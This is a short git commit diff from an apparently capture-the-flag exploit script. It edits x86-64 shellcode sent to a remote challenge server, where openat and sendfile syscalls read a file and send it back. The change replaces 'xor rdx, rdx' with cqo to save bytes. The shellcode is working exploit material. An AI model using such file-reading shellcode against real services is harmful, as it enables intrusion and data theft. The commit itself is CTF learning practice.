learnt about the cqo instruction that sign-extends rax into rdx
This commit is contained in:
@@ -8,8 +8,8 @@ r = remote("challenge.bugpwn.com", 1004)
|
|||||||
|
|
||||||
# openat + sendfile
|
# openat + sendfile
|
||||||
shellcode="""
|
shellcode="""
|
||||||
lea rsi, [rdx+30]
|
lea rsi, [rdx+29]
|
||||||
xor rdx, rdx
|
cqo
|
||||||
xor r10, r10
|
xor r10, r10
|
||||||
add ax, 257
|
add ax, 257
|
||||||
syscall
|
syscall
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ add r9, 0x4500
|
|||||||
mov r15, 0x2f
|
mov r15, 0x2f
|
||||||
push r15
|
push r15
|
||||||
lea rsi, [rsp]
|
lea rsi, [rsp]
|
||||||
xor rdx, rdx
|
cqo
|
||||||
xor r10, r10
|
xor r10, r10
|
||||||
add ax, 257
|
add ax, 257
|
||||||
syscall
|
syscall
|
||||||
|
|||||||
Reference in New Issue
Block a user